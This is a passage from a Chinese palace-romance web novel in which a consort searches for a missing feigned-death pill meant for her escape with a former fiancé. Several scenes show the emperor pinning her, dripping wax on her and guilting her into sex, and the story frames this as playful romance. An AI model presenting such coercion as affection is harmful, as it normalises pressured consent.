她踌躇着,不敢看秦思昭的眼睛,把脸撇到一边。 “有一句话我不知当讲不当讲。” 秦思昭只惊慌了一瞬,又快速地冷静下来。 “说吧,没事的。” “我觉得泠川和那个男的关系其实挺好的……他好像什么都听她的。” 黄杏想尽量说得委婉一些,但是她实在不擅长打太极,低着头小声说道: “她似乎在宫里也没受什么委屈,什么都有,真的愿意抛下他跟你走吗?” 秦思昭早就胸有成竹,只淡然一笑。 “无妨,选择权在她,若是她爽约,我便辞官独自去周游四海,再不打扰她便是了,只要她幸福就好。” 但是他知道,她不可能爽约,那枚药她一定会吃。 第54章 黄杏默默说道: “秦公子,只希望您到时候不要太伤心……我觉得那个男的是真心喜欢她呢。” “不用担心,我当然知道,你也趁现在赶紧出京,避避风头吧。” 他当然知道顾时迷恋着泠川,如果他不是对她有情,那现在只会有两种结局,第一个结局是顾时干脆给他们二人赐婚,皆大欢喜。 第二个结局就是愤怒的顾时直接把他杀掉。 既然两个结局都没有发生,那只能证明顾时爱她。 “秦公子,你不害怕吗?” 秦思昭愣了一下,没想到她竟然问出了这种问题。 “为什么这么问?” “秦公子您现在随时都有性命危险,您原本的未婚妻在宫里不仅性命无虞,甚至还活得很好,有享不尽的荣华富贵。为了她做到这个地步,真的值得吗?” 黄杏皱着眉头问道。 秦思昭轻笑了起来。 “从来没想过这个问题,你可真是问住我了。” 他收起笑容,正色道: “如果没有荣儿,我根本就不可能活到现在,至于值不值得,从来就没进入过我的考虑范围之内。” 黄杏觉得自己看到了一种根本无法理解的感情,以至于被震慑住了。就像是一个从未见过大海的人见证了海啸一样。 她愣了一瞬,不再尝试去感知这朦胧宏伟的感情,只快速地放弃了理解秦思昭。 该报的恩情她已经尽数报过,回去默默收拾了本就不多的东西,准备出京了。 秦思昭望向窗外,旁人不懂也是正常的,有些事也不需要别人理解,他丝毫没有把黄杏的质疑放在心上,只要荣儿能理解就足够了。 陶金荣不是一个虚幻且美丽的影子,不是一道误入船荫的洁白月光。 她是一个人,一个活生生的,有喜怒哀乐的人。 就算顾时千方百计地想把自己的爱变作一道枷锁,可终究是无法用爱去绑架她。 她会做出自己的选择,并且会为此负责。 陶金荣就是这样的人,单方面的爱是捆不住她的。 秦思昭的想法一点没错,泠川兜兜转转地走到梳妆镜前,想把那一枚假死药转移到更安全的位置上去。 虽然说这样做有些此地无银三百两的嫌疑,可黄杏被抓一事吓着她了,她开始觉得放心不下。 她从梳妆柜里翻出来了一个西域进贡的项链,里面有一个小暗扣,轻轻一按,吊坠上的宝石就会弹开。 虽然不知道工匠把一条项链设计成这样是为了做什么用,但她知道自己可以把假死药从毫无防备的瓶子里拿出来,转移进这个更安全的暗扣里,贴身携带。 她直接拿起了那白色的小药瓶,胸有成竹地把它顶端的盖子打开,眼前已经看见了它被安静踏实地放进吊坠里的样子。 只是她的鼻子觉得有些古怪,盖子已经打开,鼻子却没闻见药的气味。 她把药瓶拿到眼下一看,里面只是一个手指大的黑洞,拿到烛火下面,也看不出里面有什么东西。 她把药瓶晃了一晃,里面空荡荡的。 泠川心里一凉,直接把那小药瓶倒扣在掌心里。 什么都没有…… 她神经质地使劲把小药瓶甩了又甩,用那漆黑的洞口去怼她的掌心。 依旧是……什么都没有…… 她的假死药到哪去了! 泠川一下陷入了过度的慌乱,她两膝发软,直直地摊在了地上,她穿的罗裙也跟着她轰然倒地的身子一起散开,像一朵被揉散了的月季。 她觉得有人往她的耳朵眼里丢进了一条爆竹,又在她的两耳之间把这爆竹点燃,发出一阵噼里啪啦的乱响。 泠川紧紧握着那小瓶,用力晃了晃,反复检查几次,确认了里面什么都没有之后,只能绝望地把那白色的小瓶丢到地上。 意识到假死药已经彻底不知所踪之后,她的眼泪哗啦啦地流了下来,她不顾身子,趴在地上仔仔细细地检查地毯的每一条缝隙。 她颤颤巍巍地,扶着那黄花梨木的梳妆台站了起来,两腿直发抖。 泠川扶着墙,一步一步地挪着,把自己挪到床上去。 她吃力地把自己早就瘫软的双腿搬到床上,躺下的一瞬间,理智才将将回归大脑。 八成是黄杏没抗住审讯,泄密了…… 假死药不翼而飞,与秦思昭在七日后的约定她是注定无法履行了,明明答应好的事情却没做到,可她不是一个贪图荣华富贵的叛徒,更不是想留在顾时的身边。 她绝望地想,如果是黄杏泄密,她只希望她还能回去,能跟秦思昭一五一十地解释清楚…… 她什么都不怕,只怕秦思昭把她当成一个冷血无情的背叛者。 她唯独唯独不想被秦思昭误会。 想到这里,泠川便泪如雨下,咬紧下唇,不敢哭出声。 她听到一阵错落有致,闲庭信步的脚步声。 那是顾时来了,她能认得出来。 她背过身去,赶紧用袖子擦干了眼泪,只感觉肩头一热,一只手搭在了她的后背上,顾时躺在了她的身后。 “泠川,你不补偿我点什么吗?” 他哀怨的声音在她耳畔响起。 “补偿什么?” 她的声音有些沙哑,小声地说。 “你还好意思问,你背着我和别的男人传话!我气可还没消呢!” 顾时的声音从她的背后传了过来,泠川一下子愣住了。 他明显就不知道假死药一事,那药不是他派人拿走的。 那假死药去哪了…… 药丸没了,瓶子还在,此事实在古怪。 她思绪繁杂,没了一丁点头绪。 此事重大,她无法大张旗鼓地去找,更不能什么都不做。 现在到底该怎么办…… 顾时身体的重量一下打断了她的思绪。 他明显对泠川的走神非常不满,直接压在了她的身上,伸手熟练地去解她胸前的带子。 “快点补偿我。” 他急促的声音里满是埋怨。 泠川现在实在没心情做这档子事,把他的手打掉。 “我怀孕了。” “我们是夫妻,你现在就连这点义务都不愿意尽了吗?” 他埋怨地咬了一口她的脖子。 “不是……之后再说……我累了。” 泠川想把他的脸推开,却被他按住了双手,挣扎了两下,动弹不得。 他偏执地吻了一下她的脸颊。 “我现在就得从你身上讨回来。” 他单手掐住她的下巴,向她索吻。 舌熟练地滑入她的口腔,试图调动起她的情欲,让她忘记一切与他一起沉沦。 顾时似乎感受到了她的心不在焉,咬了咬她的下唇。 “除了我之外,什么都别想。” 他强迫她看着他的眼睛,伸手去把蜡烛拿到了床头。 灯火通明,橘色的火光就笼在他的面颊上,高挺的鼻梁投射出一片阴影,显得面容更加挺立俊秀。 “这样看得更清楚。” 衣衫已经变得松散,他特意把蜡烛拿到泠川的身前。 顾时的嘴角微微上扬,露出一个得意洋洋的笑。 不知是有意还是无意,他手腕倾斜,那融化的红蜡便滴落到了她腰侧的皮肤上,痛得她抖了一下。 这一疼反倒让泠川清醒,顾时目前并不知道她的计划,她更不能因假死药消失一事就先自乱阵脚。 若是整个出逃计划被他发现,不仅计划泡汤,还会彻底激怒顾时。 现在她最好的选择就是配合,决不能被他看出什么端倪。 她将腰肢扭到一侧,用手帕擦拭着那烛泪,腿弯了起来,松松垮垮的衣衫被她有意扯开,露出一小片若隐若现,髂嵴处的皮肤。 “真痛。” 她垂下长长的睫毛,用眼角的余光有一下没一下地刺着顾时,声音里带着几分嗔怪之意。 顾时的视线落在她的身上,上上下下地扫视着,像一张把她牢牢裹住的渔网。 她勾起了嘴角,用模糊的气声问道: “看得清楚吗?要不要再凑近点?” “已经够清楚了。” 肚兜后面的扣子已经尽数松开,她趴在床上,在烛火之下,脊椎骨骼的结构看得一清二楚。 “泠川,有没有点特殊的补偿?” 他吻了吻她凸起的脊骨。 “你指什么?还能有什么特殊的?” “上次你说什么都不肯做的那个。” 泠川的脸瞬间红了,激动地一下翻身坐了起来,大声说道: “顾时,你真无耻!” 她的动作太快,顾时怕烛火烧伤了她,只好也跟着往后一退,把地方给她让了出来。 泠川坐在床上,正面对着他,他忽然勾起了嘴角,又把拿着烛火的手往前凑了一凑,语气里带上了揶揄之意。 “这下便真是看得一清二楚了。” 泠川这才反应过来,赶紧伸手捂住挂在身前,堪堪遮住上半身的肚兜,脸红得发紫。 “没可能,你想都别想。我可做不来。” 一些回忆当中原本模糊的画面一下变得生动了起来,出现在泠川的眼前,扩张着,快速地压倒了一切。 羞耻感压倒了一切不安,就连假死药不翼而飞的事也被抛在了脑后,她只把脸埋进膝盖里,不敢抬头看他。 顾时冷冷地问道: “我都帮过你,你都不肯帮我吗?” 第55章 他伸出手去,强行抽走了夹在她胸口和膝*盖之间的那一小片布料。 泠川快速地钻进被子里,红着脸骂道: “顾时,你这个混账,快点还我。” “你帮我一下,我就还你。” 这个季节盖被子实在是有些热,泠川觉得后背有些冒汗,不太舒服。 他掐住了她的下巴,皱着眉头抱怨道: “你犯下的是杀头的大罪,我却只对你提了这么点要求,有什么过分之处吗?” 泠川心头一凉。 她犯下的确实是结结实实的杀头重罪,甚至比顾时知道的还要坏得多。 确实,和她做的事相比,顾时的要求算不上什么,更何况她目前还不知道那枚假死药的去向。 出于理智的考量,她现在应该答应他,顺从他。 泠川沉默了半晌,钻进了被子里。 只过了一小会儿,顾时就红着脸,伸手想把她推开。 “还是算了吧……” 话虽然是这样说的,可他还是不受控制地动了一下。 泠川突然开始咳嗽,条件反射般地弹开了身子。 她披上了一层单薄的外套,下了床去拿茶水漱口。 虽然她心理上有些抗拒,但是也没那么难…… 就是嗓子眼发酸,实在是控制不住呛到了,一直咳嗽。 她一回头,和顾时面面相觑,彼此都有些尴尬地挪开了视线。 “泠川,你还是睡觉吧……” 顾时把衣服穿戴整齐,匆匆去了浴室。 泠川躺在床上,翻了个白眼。 横竖她态度是摆在这儿了,但在能力方面确实是有些可惜,这也没什么办法。 她寻思自己的口腔确实是小了一些,是顾时自己太胡闹,疼也是咎由自取。 被他这么折腾了一通,她也累了,迷迷糊糊便入睡,不再把那假死药之事挂在心头。 次日,泠川醒得比顾时更早,像一头豹子一样死死盯着他。 他刚一醒,便撞上泠川的眼睛,被吓了一跳。 “泠川,你看着我做什么?” “昨晚我不是故意咬到你的。” 说完这句话后,泠川的脸慢慢地变红了。 顾时直接亲了她一下。 “行了,我知道。” “嗯。” 她瘫在床上,看着顾时自己穿好衣服,准备去上朝的背影。 她得悄悄去打探打探……若是假死药的事情暴露,后果简直不堪设想,到时候就不是这么轻松就能把顾时哄好的了。 现在她只能向金盏求助,这种时候她最可靠。 泠川只穿戴好了简朴的衣裙,推开门,金盏又坐在石墩子上,搂着猫,晒着太阳,一副惬意悠哉的模样。 “你可收拾过我的梳妆台么?” 泠川问。 “怎么?少东西了么?” 金盏打了个哈欠,漫不经心地回道。 “我就问你,可曾有人收拾过吗?” “那应该还是有的。青叶,秋霖,红梅这三个宫女都可能收拾过。” 泠川皱着眉头,低下头去,她总不可能大张旗鼓地问。 她转了转,随手抓住一个陌生的小宫女。 小宫女被吓了一跳,抬头见她穿的不是宫女样式的裙装,赶紧行了礼。 “我最近有些不舒服,想找太医看看,开点药,带我去太医院吧。” 泠川心想,如果换成是金盏或者青叶,八成都只会叫女医过来。金盏懒得动一下屁股,青叶又过度谨慎,不会同意让她走那么长的路。 陌生的小宫女还尚未熟悉琮翠殿的规矩,只老老实实地带着她走进了太医院。 “娘……娘娘,这里就是太医院。” 泠川直接走了进去,里面是几位男性的太医,纷纷跪下。 “娘娘,按规矩您是不能见我们这些外男的,麻烦您派宫女去叫女医到殿上去吧……” “你们目前都有什么工作,忙不忙?” 泠川有意忽略了太医的话,摆出了一副主子视察的派头。 “陛下身体无虞,我们目前只是研究药理。” “研究什么药的药理?” 泠川一时心急,没忍住说漏了嘴。 她看这太医手底下有好几枚丸药,每个丸药都长得几乎一模一样,她不通药理,根本分辨不出。 会不会她丢失的那一枚假死药,就混杂在这几枚丸药的里头? “这……我们这里什么药都有……恐怕解释起来有些复杂……麻烦您去找女医吧。” “女医在哪?来都来了,我去找她开点药。” “在太医院的东侧。” 一个侍卫给泠川和小宫女指路,泠川心中慌乱无措,拼命把那太医手底下的几枚丸药与她记忆中的假死药进行对比。 她越想越觉得慌乱,却丝毫不能表现出来,只能戴上一副从容不迫的假面。 她暗中祈祷着那枚药能回到她的手上,就像一个奇迹一般,重新出现在那白色的小瓶子里。 她之前经常想象自己吃下假死药后,扭曲地倒在地上的模样,也许她还能在睡梦中听到顾时撕心裂肺的哭声。 每每想到这里,她的心中就十分欢喜,可现在她的假死药离奇失踪,幻想全部支离破碎,她对此丝毫没有还手之力,只能焦虑地踱步去见女医。 她不敢让女医给她把脉,只开口问道: “我最近有些呕吐,麻烦您给我拿一丸止吐的药。” 她没听清女医说了什么,叽里咕噜一大串听不懂的话,她只知道自己拿到了三个黑里咕咚,圆不溜秋的药丸。 但凡是药,都长得这个模样,没什么稀奇。 她闻了闻这药,一股子陈皮味,和她的假死药一丁点都不一样,她记得假死药的气味。 那假死药的气味发苦,是一种很有层次感且怪异的苦味,像是千百种草药糅杂在一起,萃取出来的苦。 只要让她闻上一闻,她一定能认得出来。 把止吐药的药瓶揣进袖子里,她溜达着去了书房。 顾时正坐在桌子前面,对着一沓不知道是什么的东西苦思冥想,泠川懒得跟他说话,只去外面抓了个负责收拾东西的小宫女。 她问道: “有没有多余的砚台和墨水?给我拿一套。” “泠川,你要砚台和墨水干什么?” 顾时听见了她的声音,只坐在里面问道。 泠川不跟他说话,反倒去跟一个小宫女说话,他皱起眉头,心底有些不爽。 明明她看到他了,却理都不理他。 顾时不喜欢她这样。 “我想自己回去学一学画画,描个花样,不行吗?” 泠川嘟囔着。 “关你屁事啊。” “要说起画材来,那可就复杂了,光是毛笔就要……” 泠川不耐烦听那一长串的叽里咕噜,直接出言打断了他: “别听他废话,就要砚台,墨,还有毛笔,你赶紧去给我找来。” 小宫女木讷地点了点头,去找了一套笔墨纸砚。 她回来的时候,却看到顾时走了出来,手上拿着一个木制的托盘,上面是一套完整的笔墨纸砚,均是他最常用的。 他直接把那个放着笔墨纸砚的木托递给了小宫女。 “帮她拿回去,沉。” 泠川看着她,皱了皱眉头。 “跟我走吧。” 她刚要走,顾时就把她拦住,扶着她的肩膀,亲吻了她。 这个吻有些突然,她没来得及躲开,面颊被结结实实地亲了一口。 “你走吧。” 顾时的笑里带着几分揶揄的意思。 泠川拧着眉毛,剜了他一眼,怒气冲冲地带着小宫女回了琮翠殿。 她回到琮翠殿里之后,把宫女们悉数支开,又把那个秦思昭给她的小药瓶重新翻了出来。 她先是磨墨,在药瓶底部灌满了墨水,又把今天女医给她的药丸塞了进去。 她倒要看看,药丸还会不会离奇失踪。 只要拿出药丸,墨水就会流到那人的手上,到时候便可以轻而易举地知道是谁做的好事了。 她心中忐忑,不怕药丸消失,就怕药丸还在。 如果这药丸一直都还在瓶子里,她就真的无从下手了。 她故意出门溜达了一圈,回去又检查了一番。 药丸还在瓶底,看来没那么快…… 泠川虽然知道自己的方法不是一时半会儿就能奏效,但也未免有些失望。 “娘娘,您在干什么?” 青叶走了进来,问道。 “我从我之前在王府时的东西里翻出来了一丸药,便放在这瓶子里了。” 她特意出言试探。 “我今日从女医那里讨了药,你看这药可靠么?” “娘娘,我只略通一些草药,您还是听从女医的嘱咐吧……再说不知来源的药不能乱吃啊,得先拿到太医那里去验一验才行。” 泠川眼神一暗……原来青叶她略通一些草药。 就在她想继续出言试探青叶之时,顾时却进来了。 “参见陛下……” “行了,退下吧。” 顾时摆摆手,青叶也只得出去,可她还有一事尚未及时禀报。 “泠川,你不是说要学画画吗?你的大作去哪里了?” “画了个四不像,我便把那宣纸团起来扔了。实在不是这块料……” 泠川敷衍着他。 “真遗憾,我还在想你能不能给我画一幅人像呢。” “我画一条狗都费劲,更别提画个人了。” 顾时撑着下巴,想要和泠川调笑,她却心不在焉,满脑子都是青叶方才说的话。 若是那药真被她送去了太医院化验……她得赶紧把药拿回来才行。 她越想越觉得紧张。 第56章 顾时的神态轻松自然,看起来是真的对假死药一事一无所知。 她得瞒住了顾时,赶紧出去找青叶盘问清楚才行…… 泠川刚匆匆忙忙地要从椅子上站起来,就被顾时从后方一下按住肩膀。 “你要到哪去,怎么这般坐立不安的?” 她的肩膀上传来热腾腾的触感,顾时就贴在她的耳朵边说话,声音震得她后背发痒,这热度让泠川猛地抖了一下。 泠川马上强迫自己深呼吸,现在她绝对不能在顾时面前表现出一丁点的惊慌失措,让他起疑。 她仰起头,扯着嘴角,露出一个有些敷衍的笑容。 “没什么的。” “你这么焦灼不安,怎么会是没什么?” 他咬了咬泠川的耳朵尖,泠川觉得自己的耳朵上又湿又凉,顿时心生一种烦躁,直接伸手把他推开,连带着半个身子都躲得远远的。 “快点告诉我,到底为什么这么不安?” 他喋喋不休的追问让泠川更加心烦意乱,她皱起眉头,咬着嘴唇问: “你真的要听吗?” “当然要听。” 顾时皱着眉,伸手捏着她的下巴。 “你昨晚太快了。” 顾时脸一红,辩解道: “我没有!我根本就没……” 她瞥了一眼顾时,随口胡诌了一句,正好能损他两句来出气,谁让他惹她心烦的。 她直接打断他的辩解: “没有什么?说清楚啊。” 顾时支支吾吾,说不出什么所以然来,只红着脸低下了头。 “总而言之,我现在不怎么想搭理你。” 她不耐烦地站了起来。 “我自己出去走走,别跟过来。” 她看着顾时促狭的样子,眼珠一转,心生一计。 “我听闻太医院的太医们正在研究药理,是不是在研究壮阳药啊?你不会一直在悄悄吃那种东西才能勉强维持吧。” 激将法虽然土,但是管用,被泠川一激,顾时顿时气不打一处来,说道: “我可用不上那种东西……” “当真么?那他们神神秘秘的,在研究什么呢?” “我日理万机,管不上太医院的事!” 顾时确实不可能什么都管,看来是真的……她现在还有机会把假死药从太医院那里拿回来。 泠川因为过度焦虑,开始咬拇指的指甲,顾时把手放在她的后背上。 “怎么,你不满意是吗?那你现在就给我一个证明自己的机会。” “等生完孩子之后再说吧。女医说了,孕期不能同房。” 她不耐烦地想把顾时这个狗皮膏药赶紧甩掉,心中只想赶紧去问青叶把她的假死药弄到哪去了。 只是现在顾时实在是粘人的紧,就算她说要自己出去走走,顾时也肯定会像一条狗一样粘上来。 甩都甩不掉,真是烦死了,她只能先糊弄糊弄他。 “顾时,你死死缠着我,到底想干什么?” “我就是想看看你画的画。” “那我马上就给你画一张。” 她不耐烦地提起了毛笔,颇为不讲究地使劲沾了沾墨水,又在砚台上捻了捻。 “那样用毛笔,你未免也太不惜物了。” “哼,谁叫你偏要看我画画的。” 泠川低下头,恶趣味地画了一只极其抽象的长条狗,吐着舌头,卷着尾巴,匍匐在地。 “看,这就是你。” 顾时接过宣纸,叹了口气说道: “幼稚死了。” “哼,你又不是不知道我不学无术,我就只会画这个。” 泠川对着他翻了个白眼。 “我休息了,你赶紧去干点你自己的事好不好?” “你为什么这么嫌弃我?” 她冷笑着瞥了他一眼,顾时顿时后悔了,还不如不问,真是自取其辱,肯定又是一大堆难听的话等着他。 可出乎他意料的是,泠川却什么都没说,只一味地躺在床上愣神。 她没心思对着顾时大放厥词,满心都想着那假死药的事。 就算被化验出是假死药,只要自己死活不把秦思昭供出来,一口咬定自己也不知道那药是做什么用的,最后应该也没什么事。 就是她的逃跑计划彻底泡汤了而已…… 这枚假死药是她唯一的机会,一旦落空,就得一辈子和顾时捆在一起……一生一世不得喘息。 她甚至可以认命,可到时候秦思昭会怎么想她? 一个不守约定,三心二意的人。 他千里迢迢地考进京,从未放弃过她,他为了她已经拿出了十二分的勇气和决心,她唯独不想临阵脱逃,让他失望。 真是……造化弄人。 泠川自嘲地笑了笑。 如今只剩下六天,再睡一觉,又缩水成了五天。 若是不能在这五天之内把假死药拿回来,她只能白白辜负秦思昭豁出性命的一片好心,最终还是支离破碎的结果。 她先是觉得对秦思昭愧疚难当,后悔自己把那枚最重要的药丸放置得太随便,不停责怪自己的疏忽大意。 随后,泠川又一下来了精神,反正还剩五天,说长不长,说短也不短,在这五天里,她说什么都要拼尽全力把那药丸拿回来。 既然他都已经为了她干了这种杀头的死罪,那她难道就不能为了他再多勇敢一点吗。 她不知过了多久,顾时躺在她的身边,亲密地抱着她。 他的体温笼着她,她心里却全是另外一个男人。 泠川心想,原来这就叫做同床异梦。 她摸了摸顾时的脸颊,若是只剩下几天,那她还能乐意哄哄他,可若是要跟他过一辈子,那她现在就想原地升天,求阿娘带她走吧。 “泠川,你想不想同我一起去行宫歇半个月?” “你疯啦,我怀了孕,哪受得了路途颠簸。” 泠川赶紧找个理由拒绝顾时的提议,可真是吓了她一跳,若是被带走去行宫,那假死药必定要找不回来了。 “可我看你每天走来走去挺精神的。” “我娘说了,怀孕的时候多走一走没事,就是不能吃太多,也不能坐太久的马车。再说行宫劳民伤财,一年还住不上几回,赶紧拆了换点银子得了。” “财政还没亏空到那个程度,这个你倒不必担心。” 泠川懒得跟他瞎扯,直接一翻身背对着他装睡。 装着装着,泠川便真的睡着了。 她做了一个颇为古怪的噩梦。 她低头,发现自己站在一个半径只有一步之宽的圆圈里,外面是一片黑暗虚无。 圆圈内许多齐腰高的月季围绕着她,月季越长越高,带刺的枝条缠绕到了她的脖颈上,刺得她浑身无力。 这个时候,顾时就站在她的面前。 随后这个梦的色彩猛地变了,一下变成了一个湿漉漉的梦。 顾时对着她伸出了手。 “我好痛!快点停手!把这些枝条砍掉!” 他充耳不闻,只继续着身下的动作。 泠川觉得自己的脸上一片湿,伸手一抹,是红色的血。 月季的刺在她的身上开出了许多浑圆的口子,她像是被扎成了一个筛子,浑身上下汩汩冒血。 “顾时!你没看到我在流血吗!放开我!” 她愤怒又歇斯底里地吼叫着。 他依旧充耳不闻。 “顾时……求你了……饶过我吧……” 她的声音变成了求饶的惨叫。 “啊!” 泠川惊醒,伸手摸了摸自己湿漉漉的脸,举起手一看,是透明的泪水。 还好不是血……那只是一个噩梦。 她松了口气,又陷入了一种莫名其妙的悲伤。 连一个噩梦都能把她吓得直哭,可真是没出息。 她眯起眼,愤怒地审视着在一旁熟睡的顾时,就是这个人在梦里害惨了她。 简直该打。 她直接一脚踹向顾时的膝盖窝处,就当是给梦里无助的自己出一口恶气。 “你干什么!” 顾时迷迷糊糊地挨上了一脚,低声地抗议着自己的不满。 泠川觉得自己确实是有些无理取闹,便大发慈悲地放过了他。 “睡吧,我消气了。” 得到泠川的许可,顾时翻了个身,抱住泠川,继续睡了。 为了报复她的那一脚,他直接枕在了她的肩膀上睡,他骨架大,个子又高,体重摆在那,泠川觉得自己的肩膀上简直压了个秤砣。 他的头发丝丝的刺着她的脖子,又沉又痒,甚是恼人。 泠川忍不住推开了他,可她越是推,他就越抱得紧了些。 简直喘不过气,就像梦里的那缠身的月季一样。 泠川转念一想,这一脚他挨得可真是不冤。 “别动,让我抱一会儿。” 他在泠川的耳畔轻声说道,伸手去摸她的脸颊,顺道抚过她的嘴唇。 “松开,我要睡觉!” 泠川狠狠地咬了他的手一口,顾时吃痛,只能把手缩了回去。 “你就这么讨厌我吗?” “你知道你自己有多沉吗?” “你嫌我胖?我最近明明在饮食上克制得很,甚至还清减了些呢。” “我说沉就是沉!松开我!” 他被泠川毫无理由的指责一下子气醒了,伸手就匆匆去解自己的中衣。 “给你看,我根本就不胖,你没看到我的小腹这里还有很清楚的线条吗?这都是我克制饮食,又勤加锻炼的成果。” 泠川一眼都懒得看,撇过脸去。 “黑灯瞎火的,看不清。” 他拽着她的手去摸他的腹肌,委屈道: “不带你这么冤枉人的,看不清总能摸到吧,我根本就不胖!而且,我都是为了你才节制饮食的。” 泠川忽然脸一红,把手缩了回来。 “大半夜的,你不睡觉耍什么疯?真是轻狂。” 顾时有些尴尬,背对着她躺下。 “睡觉吧,总之我根本不胖。” 过了一会儿,顾时的呼吸变得平稳,泠川却根本无法入睡。 她随手披上了顾时的外套,下了床,走到门口去,外面只有一个小宫女当差。 “娘娘……早上风凉,您起这么早做什么……” “青叶在哪?” 泠川问道。 “青叶姐姐昨天晚上就已经休假回家了,她是最勤勉的,已经一年都没休过假了。” 泠川低低地骂了句脏话,咬住了下唇。 她什么时候休假不好,偏偏要挑这个时候。 “我再问你,她有没有拿着什么东西去过太医院?” “奴婢不知!青叶姐姐平常不喜欢和我们说话……说实话,奴婢害怕她……” 泠川心想,若是青叶把药送去太医院化验倒是还好……悄悄要回来便是了。 但如果不是她送去的,她就真的一丁点线索都没有了,泠川越想越觉得害怕。 没办法,事已至此,她顾不上是否会惊动顾时,只能趁他上早朝的时候去太医院刨根问底地把事情问个清楚。 泠川只知道他日理万机,忙得很,她赌他根本不会去过问太医院的事。 忽然,腹中一阵咕噜噜的响声传来,泠川觉得腹中空空,这几天吃不好睡不好,精神几乎被干,便随口命小宫女去给她拿些点心来吃。 吃完后,便到了顾时该准备上早朝的时间了。 她皮笑肉不笑地装出一副温柔模样,走到他的眼前,亲手服侍他穿衣。 “泠川,今日是怎么了。” 说实话,泠川生气顾时会害怕,泠川温柔顾时会直接陷入不安和恐慌。 如果她不是做了什么亏心事的话,是不可能对他这么温柔的,顾时心里一清二楚。 “昨晚做了个噩梦,梦里你简直不是个人,我气醒了便踹了你一脚。踹完了才觉得自己实在是无理取闹,便伺候你一次,哄哄你一下。” 他贴在她耳边,带着几分揶揄地说: “你细说,在你梦里,我究竟是怎么不是个人?” 泠川狠狠地剜了他一眼,一甩手,他的腰带直接掉在了地上。 “哼,你挨揍不冤,我不管你了,你自己穿去吧。” 顾时笑着把衣服穿好,从后方抱住她,亲了一口她的侧脸。 “我先去上朝,等我回来后你再跟我细说吧,你可得好好给我讲讲你的梦。” 泠川看着他的背影,确认了他已经动身去上朝,扭头就急切地去了太医院。 她匆匆推开大门,大声问道: “我的宫女青叶前些日子送来了一枚药丸来化验,现在那药丸去哪了?我命令你们,快点把那药丸给我找出来!” 第57章 几个太医愣住了,面面相觑。 “娘娘,您说的是五天前送来的那枚药丸吗?” “对,就是那一枚。” 泠川掷地有声地说道。 实际上她根本不知道太医口中的那枚药丸是不是假死药,她在赌一个微薄的可能性。 “说实话,那枚药的药理非常奇怪复杂,我们太医也看不好……已经送到宫外的医院去化验了。” 一个太医低着头,讷讷地说。 泠川觉得自己变了,她现在简直是谎话张口就来: “你们有所不知,那并非是药,而是一枚开过光的护身符,是一个僧人送给我的,特意叮嘱我不能离身。” 她换上了一副严厉的面庞,用不容拒绝的语气说道: “两天内,我要这枚药重新出现在我眼前。” 太医求饶一般地说道: “光是把药取回来,路途上就要五天,实在是别无他法,还请娘娘体恤。” “那就快马加鞭,加急送回来,听到了吗?这是命令!” “恐怕是办不到两天内就送回来,我们只能尽量,还请您稍安勿躁,多等两天吧。” “一切都要尽快!别让我再说第二遍!” 泠川冷着脸,一挥袖子便走了。 听到药性奇怪复杂几个字时,泠川已经知道了那八成便是假死药,只是等待的过程实在煎熬。 她此生的命运,一下便栓系于一枚小小的药丸之上。 若真是那药丸回不来,她也没什么办法……只能自食苦果。 她抬头仰望着阴沉的天空,默默祈祷不要东窗事发,连累到秦思昭。 泠川心绪杂乱地回了琮翠殿,前脚刚抬过高高的门槛,天上便传来一声轰雷,吓得她回头一看,两道白色的闪电在密密的乌云之间穿梭。 随后,下起了连绵不绝的大雨。 这雨一下起来,更是要耽搁,若是连着下上几天,假死药恐怕是无法如约而至地送回她手上了。 “泠川。” 一个声音击碎了泠川的忧思。 她抬头,只见顾时拎着伞,拎起衣裳的下摆走进来。 他手里是一把做工精致的油纸伞,可惜是不大实用的样子货,被风一吹,雨一打便浇透了。 “你怎么没叫下人给你拿一把结实一点的伞?” 泠川走上前去,先是命令宫女去准备洗澡水,又用手帕擦了擦他额头上的雨滴。 “衣裳全都湿了。” 她与顾时二人站在一面屏风后面,她声音里有一点埋怨,伸手去给他解开腰带,又亲手帮他把外衣脱了下来。 “这衣裳沾了水,可真是沉啊。” 她捧着他的衣裳,低着头,暗自笑着说道,顾时瞥见她的鼻尖微微泛红,像一块被体温捂得温热的玉石。 “泠川,你今日怎么对我这般的好?” 顾时警惕又渴望地瞥了她一眼,伸手去掐她的下巴。 “莫不是又做了什么亏心事了吧。” 泠川把他的手打掉,皱着眉头。 “怎么,伺候你一回还伺候出错来啦?一天到晚疑神疑鬼的,可真是贱骨头。我现在一心一意地同你过,你为什么还总是要疑心我做了坏事?” 一回生,二回熟,之前她还说谎话都会咳嗽,可她发现自己现在撒谎撒得越发熟练,越发炉火纯青了。 泠川觉得自己简直能当个细作。 顾时抿着嘴,露出一个微微厌恶的表情看着她,说道: “你不值得信任。” 泠川冷笑,心想顾时说得没错,对于顾时来说,她就是一个不值得信任的女人。 “那你天天给我摆脸子看又有什么用?就算我真悄默默干了什么对不住你的事,难道还能因为你的疑心病就全都招供了不成?” 泠川翻了个白眼。 “哼,老娘还不伺候了呢,自己去洗澡吧。” “我不疑心你了,你陪我一起洗好不好……” 顾时抱住她,开始求饶,泠川却直接把他推开。 “真是想不通,你这是图什么呢?” 他总是先主动惹她生气,可每当她报复他的时候,他又直接放弃尊严,投降得彻彻底底。 若是那枚假死药找不回来,她一辈子都得被顾时这样折腾,泠川光是想想就觉得心累。 哄他一天也就哄了,可是要哄上一辈子……哎…… 跟顾时过日子是要折寿的,她说不准自己得少活多少年。 她甚至觉得,顾时会故意纵容她犯错,这样他就能快速地抢占道德高位,扮演一个被辜负的受害者来虐待和拿捏她。 要是他彻底知道了她是如何在背后算计他,他恐怕会一边暴怒,一边暗自得意抓住了她的把柄。到时候她就得亏欠他一辈子。 想到她的出逃计划很可能会彻底破产,她也会在秦思昭眼中沦为一个不值得的人,泠川就开始觉得顾时哪都不顺眼。 小宫女从屏风的外侧,低着头走了出来,不敢抬头看,只行了一礼。 “娘娘,洗澡水已经准备好了。” 说完话后,小宫女就匆匆走了,人家夫妻新婚燕尔,她总得懂得避嫌的道理。 “陪我一起洗,” 顾时把手放在泠川的肩膀上,声音里带了几分强制的意味。 “不要,我怀孕了不能同房。” “我们只洗澡,不干别的。” 泠川翻了个白眼,说道: “你觉得我信吗。” “那你就帮我用浴盐擦一擦后背可以吗?你若是帮我,我就再也不疑心你了……” 泠川狡黠一笑,双眼直勾勾地看着他。 “你当真吗?再也不疑心我?” “只要你以后不准再想着别人,我自然可以不疑心你。” 泠川皱着眉头,有些嘲讽地说道: “你把我关在你身边也就算了,现在连想一想也要管?你管得可真是宽。” “我都没有想过别人,你也不准想。” 